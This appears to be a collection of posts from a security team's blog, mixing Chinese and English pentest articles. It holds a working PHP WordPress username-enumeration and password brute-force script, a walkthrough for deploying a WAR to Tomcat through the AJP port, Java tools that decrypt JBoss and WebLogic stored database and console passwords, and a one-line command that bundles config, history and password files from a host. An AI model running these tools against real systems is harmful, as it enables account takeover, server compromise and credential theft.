关于QQ群大数据可视化查询

鉴于腾讯只手通天的能力导致原地址被墙,现在提供一个不会被墙的新地址:

https://s3.amazonaws.com/qqqun/index.html

请认准前面的https,另外后面的index.html也不能少。

希望不会把amazon也墙了,呵呵。

WordPress BruteForce Tool

Author: secdragon

I think in some pentesting situations someone who encountered latest version of wordpress and no more installed plugins that we could exploit, at the moment the other way we can try to brute-force approach.

In fact, We can enumerate username from /?author=, then try to guess the same username and password of accounts, If we don’t successful get results by brute-force and then continue to brute-force which is involve pass.txt under the directory, default is enumerated 10 users, you can modify by yourself.

Usage:
php wordpress.php http://www.test.com

<?php
 
set_time_limit(0);
$domain = $argv[1];
 
//enumerate username
for ($i=1; $i <= 10; $i++) {
 
    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}
 
echo "totally got".count($namearray)."users\n";
 
echo "attempting same username&password:\n";
 
$crackname = crackpassword($namearray,"same");
 
$passwords = file("pass.txt");
 
echo "attempting weak password:\n";
 
if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}
 
crackpassword($namearray,$passwords);
 
function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}
 
 
function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 
    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
 
    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);
 
 
    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

Translator by Hip

How could I exploit on Tomcat with AJP protocol

Author:Mickey

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

图片1

My experiment environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on图片2
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf

# Update this path to match your conf directory location

JkWorkersFile /etc/apache2/jk_workers.properties

# Where to put jk logs

# Update this path to match your logs directory location

JkLogFile /var/log/apache2/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE,

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

# Shm log file

JkShmFile /var/log/apache2/jk-runtime-status

Create a link with ln command to /etc/apache2/mods-enabled/:

ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf

Configure jk_workers.properties as below:

root@mickey:/etc/apache2# cat jk_workers.properties

worker.list=ajp13

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=192.168.0.102 <\---|Here is target ip address

worker.ajp13.port=8009

worker.ajp13.lbfactor=50

worker.ajp13.cachesize=10

worker.ajp13.cache_timeout=600

worker.ajp13.socket_keepalive=1

worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )图片3

Restart apache:

sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then browse on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.

图片4

Translated by hip

BSides Toronto 2013

bsides

I appreciate to announce this information, Our member (Kevin) of Insight-labs who will present in Toronto at BSides Conference on Oct 5,2013.

The topic is RF-Ninja-Hacking, If you guys interesting in this field or speaker, welcome to join this presentation or online video.

BSides Toronto Conference 2013:
http://www.bsidesto.ca/

警惕IPSec/L2TP VPN被GFW干扰后变明文

昨天拿服务器搭了个ipsec/l2tp的vpn给朋友翻墙,朋友说连上之后只要一上国外网站,facebook,youtube之类的就会断线,我觉得很不可思议,明明都是加密了的,这不科学。

后来把debug打开,tail -f /var/log/secure,tail -f /var/log/message,一般情况下,连ipsec l2tp vpn,secure log会显出现IKEv2握手的日志,最后会出现transport xxx established,说明ipsec通道建立完成,然后message log才开始出现ppp登录记录,但是每次我朋友拨vpn的时候,根本看不到secure log里有任何动静,上来就是ppp登录。

后来用nc发udp包做测试,正常情况下,用nc发送任意内容的udp包到udp 500端口,可以看到secure日志里提示数据包畸形(malformed xxxx),但是朋友用nc测试,也没有任何提示,说明udp包在500端口被drop了。
最诡异的一点是windows这时候居然还能建立成功vpn,即使打开了 需要加密(如果服务器拒绝将断开连接) 这个选项,还是可以建立成功vpn通道,只不过这个时候是明文的,而且gfw可以重建通道内的数据包进行审查。
如果打开强制使用最大程度加密的选项,vpn则会建立失败。但是在没有被封锁的地区是可以连上的。

GFW以前是不管ipsec vpn的……
鉴于vpn对大家有着比翻墙更重要的用途,使用l2tp vpn的时候记得打开强制使用最大程度加密的选项,否则很容易在被gfw干扰的情况下变成明文vpn。

InsightScan:Python多线程Ping/端口扫描 + 端口服务探测+HTTP服务/APP 探测,可生成Hydra用的IP列表

现成的工具没一个好用的,包括metasploit自带的模块。

功能:
支持CIDR格式输入IP地址段
支持任意线程扫描
支持自定义端口列表或端口段
端口服务指纹识别
检测常见网络管理web应用
自动在http服务端口上抓页面
扫描结果根据端口号排序或者生成服务ip列表,方便测试弱密码。

使用说明:
Usage: InsightScan.py <hosts[/24|/CIDR]> [start port] [end port] -t threads

Example: InsightScan.py 192.168.0.0/24 1 1024 -t 20
Options:
-h, –help show this help message and exit
-t NUM, –threads=NUM
Maximum threads, default 50
-T TIMEOUT, –timeout=TIMEOUT
Scan timeout, per thread
-p PORTS, –portlist=PORTS
Customize port list, separate with ‘,’ example:
21,22,23,25 …
-N, –noping Skip ping sweep, port scan whether targets are alive
or not
-P, –pingonly Ping scan only,disable port scan
-S, –service Service detection, using banner and signature
-d, –downpage Detects interesting stuff on HTTP ports(80,80,8080),
when used with -S , will try all ports with HTTP
service. Grab and save to HTML pages if found
anything.
-l, –genlist Output a list, ordered by port number(service, with -S
option),for THC-Hydra IP list
-L, –genfile Put the IP list in separate files named by port
number(service, with -S option). Implies -l option.
Example: IPs with port 445 opened will be put into
445.txt

中文说明:
-t 最大扫描线程数,默认50
-T 扫描端口的超时时间,默认每个端口等待2秒
-p 自定义端口列表,用逗号分隔,例如 -p 21,23,25,80 也可以只设定一个端口, -p 445
默认端口列表为21,22,23,25,80,81,110,135,139,389,443,445,873,1433,1434,1521,2433,3306,3307,3389,5800,5900,8080,22222,22022,27017,28017
-N 不ping直接扫描,相当于nmap的 -Pn选项,会比较慢
-P 不扫描端口,只进行ping扫描 判断存活主机
-S 在每个打开的端口上进行服务探测,不要以为把ssh或者rdp换个端口就万事大吉了哦。服务指纹包括了大部分有利用价值的服务。
-d 在 80,81,8080端口检测 HTTP服务器,并且扫描一些常见web应用,比如:’phpinfo.php’,'phpmyadmin/’,'xmapp/’,'zabbix/’,'jmx-console/’,’.svn/entries’,'nagios/’,'index.action’,'login.action’
和-S 选项一起用的话,会在所有打开HTTP服务的端口进行检测
用途大家自己想……
如需添加,改源码里的URLS全局变量,目录名后面必须加’/’

检测到这些应用存在后会在输出提示并且把HTML抓下来保存到page.html文件里。

-l 把扫描结果按照端口号分类后输出,只有在完全扫描完成后才会输出,输出:

========Port 3306 ========
192.168.0.100

========Port 139 ========
192.168.0.100
192.168.0.13

========Port 3389 ========
192.168.0.100

========Port 80 ========
192.168.0.100
192.168.0.1

========Port 23 ========
192.168.0.1

========Port 443 ========
192.168.0.13

========Port 445 ========
192.168.0.100
192.168.0.13

和 -S 选项一起使用的话会按照服务名称进行排序,例如:

========ssh========
192.168.0.20:22
192.168.0.21:54321
192.168.0.21:52222

========msrdp=========
192.168.0.31:3389
192.168.0.32:33889
192.168.0.31:3390

…..

-L 按照不同端口号生成以端口号命名的txt文件,文件内容是打开该端口的IP列表,例如 在192.168.0.0/24 扫描22和445端口,
扫描结束后会在当前目录生成 22.txt和 445.txt,里面是这个ip段所有打开这两个端口的ip列表。生成的列表文件可以直接供THC-hydra的 -M 选项使用
和 -S 一起用的话,会输出类似 -l 一样的格式,ip:port形式,但是这种格式似乎不能直接给hydra用。

*****************************************************************************
未来功能:
针对特定服务,自动弱密码检测。
对http登录表单,401 登录认证进行自动弱密码检测。
对常见web应用漏洞,例如任意上传漏洞,web server管理后台上传漏洞,Struts执行任意指令漏洞进行自动检测
.
.
.

GitHub:
https://github.com/AnthraX1/InsightScan

下载地址

解密JBoss和Weblogic数据源连接字符串和控制台密码

现在越来越多的站喜欢用java语言的框架做web应用了,很多大型站点经常采用jboss或者weblogic做web服务器。出于安全原因,它们都提供把数据源连接密码以及web服务器后台密码加密的功能,jboss用的是blowfish,weblogic旧版的加密算法一般为3DES,新版的则都是AES。
这几种加密算法都是可逆的,因为在web服务器连接到数据库的时候还是要把密码解密成明文之后发过去或者和challenge运算的,所以我们有了两个突破口,第一个就是,解密后的明文密码必然保留在内存中,如果把web服务器的内存空间dump下来分析是肯定可以找到明文密码的,这个方法在前段时间hip发的memory forensic文章里有涉及到。第二个方法就是,调用服务器程序自身的解密函数,让它把明文echo出来。

JBoss

jboss的数据库连接密码一般存在%JBOSS_HOME%\server\%appname%\deploy 下面的各种xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在没有加密的情况下,密码是这么保存的:

<jndi-name>OracleDS</jndi-name>   //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url>  //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>  //驱动
<user-name>root</user-name>    //用户名
<password>123456</password>  //密码

在配置完密码加密后,这个文件里要么没有username和password,要么被comment掉了。下面多了个EncryptDBPassword
加密后的密码存在jboss目录的conf/login-config.xml文件里:

<application-policy name="EncryptDBPassword">
          <authentication>
              <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
                  <module-option name="username">admin</module-option>
                  <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
                  <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
              </login-module>
          </authentication>
      </application-policy>

5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。
jboss用来加密的key是明文硬编码在jboss源码里的,key是jaas is the way

解密过程:

找个能编译java的环境或者在线的java编译执行网站:编译以下代码:


/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
*    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
*   http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;

import java.math.BigInteger;

public class JBoss
{

public static void main(String[] args) throws Exception
{

if ( ( args.length != 2 ) || !( args[0].equals("-e") | args[0].equals("-d") ) )
{
System.out.println( "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>" );
return;
}

String mode = args[0];

byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");

String out = null;

if ( mode.equals("-e") )
{
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
}
else
{
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println( out );
}
}

编译后执行,用 -d参数解密,比如 java JBoss -d 5dfc52b51bd35553df8592078de921bc
就会返回明文密码。

Weblogic

weblogic要稍微复杂一些,jboss的加密函数是java代码里面的,但是weblogic是自己写的,所以解密程序也需要调用weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的,这一点上比jboss安全很多。但是,毕竟连数据库的时候还是要还原,所以还是可以解密的。解密过程如下:

加密key都保存在securitySerializedSystemIni.dat 文件中,比如

weblogic安装目录\user_projects\domains\APPNAME\securitySerializedSystemIni.dat

有些版本是放到security目录里的,一个应用里面只会有一个这个文件,find一下就找到了。

找到后把它复制到其他的文件夹,比如\tmp下面

在这个文件夹下新建一个java文件,Decrypt.java,名字不能错,必须和内容的class名字一样。

import java.io.PrintStream;
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;

public class Decrypt
{
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String args[])
{
String s = null;
if(args.length == 0)
s = ServerAuthenticate.promptValue("Password: ", false);
else
if(args.length == 1)
s = args[0];
else
System.err.println("Usage: java Decrypt [ password ]");
es = SerializedSystemIni.getExistingEncryptionService();
if(es == null)
{
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if(s != null)
System.out.println("\nDecrypted Password is:"+ces.decrypt(s));
}
}

根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量,分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去,所以还需要执行一下(linux下,windows一般不会出现这个情况) export $CLASSPATH

如果这个命令执行完也出来一串东西,那就说明环境变量设置正确,如果没有的话,则需要在shell里手动执行。把之前执行setWLSEnv.sh出来的两个环境变量分别复制然后 export一下就行。再执行以下export $CLASSPATH确认是否加上了。成功后就可以进行下一步了。

weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面,也是xml格式,加密后的密码格式为

{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=或者{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码,比如 java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

执行完后就会告诉你 Decrypted Password is : weblogic

weblogic的控制台密码也是用同样的方式加密的。

使用USRP 来 Sniffing 无线键盘(视频)

Logitech 的 27Mhz 无线键盘可以被sniff 早已不是啥新闻了. 通过使用USRP 和 GNURadio toolkit 来 Sniffing 无线键盘, 可以深入学习其原理如: 如何解码 miller encoding 等.

(视频: Sniffing wireless keyboard)

321

Physical Memory Forensics

Author:hip

Linux shell script for information gathering|Linux收集信息小脚本

找出所有.sh .pl .py .conf .cnf .ini .*history .*pass* (/usr/share目录里面的除外) 并且在当前目录zip打包。有些时候很多配置文件的权限配置不严,如果搜集完全的话对于进行下一步有很大帮助。

Find all .sh .pl .py .conf .cnf .ini .*history .*pass* (Except in /usr/share) then zip in current directory

find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@